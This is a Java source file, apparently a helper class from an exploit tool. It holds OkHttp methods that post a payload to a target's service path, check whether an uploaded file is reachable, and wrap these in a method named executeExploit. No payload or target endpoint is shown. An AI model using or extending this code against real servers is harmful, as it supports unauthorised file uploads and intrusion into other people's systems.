content: package com.r00t.util;
  
  import com.r00t.config.AppConfig;
  import com.r00t.response.NCResponseHandler;
  import okhttp3.*;
  
  import java.io.IOException;
  
  public class HttpUtils {
      private static final OkHttpClient CLIENT = new OkHttpClient.Builder()
              .connectTimeout(AppConfig.REQUEST_TIMEOUT_MS, java.util.concurrent.TimeUnit.MILLISECONDS)
              .readTimeout(AppConfig.REQUEST_TIMEOUT_MS, java.util.concurrent.TimeUnit.MILLISECONDS)
              .writeTimeout(AppConfig.REQUEST_TIMEOUT_MS, java.util.concurrent.TimeUnit.MILLISECONDS)
              .build();
  
      private HttpUtils() {}
  
      public static boolean sendPostRequest(String targetUrl, byte[] payload) throws IOException {
          Request request = new Request.Builder()
                  .url(targetUrl + AppConfig.DEFAULT_SERVICE_URL)
                  .post(RequestBody.create(payload, MediaType.parse(AppConfig.CONTENT_TYPE)))
                  .build();
  
          try (Response response = CLIENT.newCall(request).execute()) {
              return response.code() == 200 && NCResponseHandler.handel(response.body().byteStream());
          }
      }
  
      public static boolean checkFileUpload(String targetUrl, String fileName) throws IOException {
          Request request = new Request.Builder()
                  .url(targetUrl + "/" + fileName)
                  .get()
                  .build();
  
          try (Response response = CLIENT.newCall(request).execute()) {
              return response.code() == 200;
          }
      }
  
      public static boolean executeExploit(String targetUrl, byte[] payload, String fileName) throws IOException {
          return sendPostRequest(targetUrl, payload);
      }
  }
  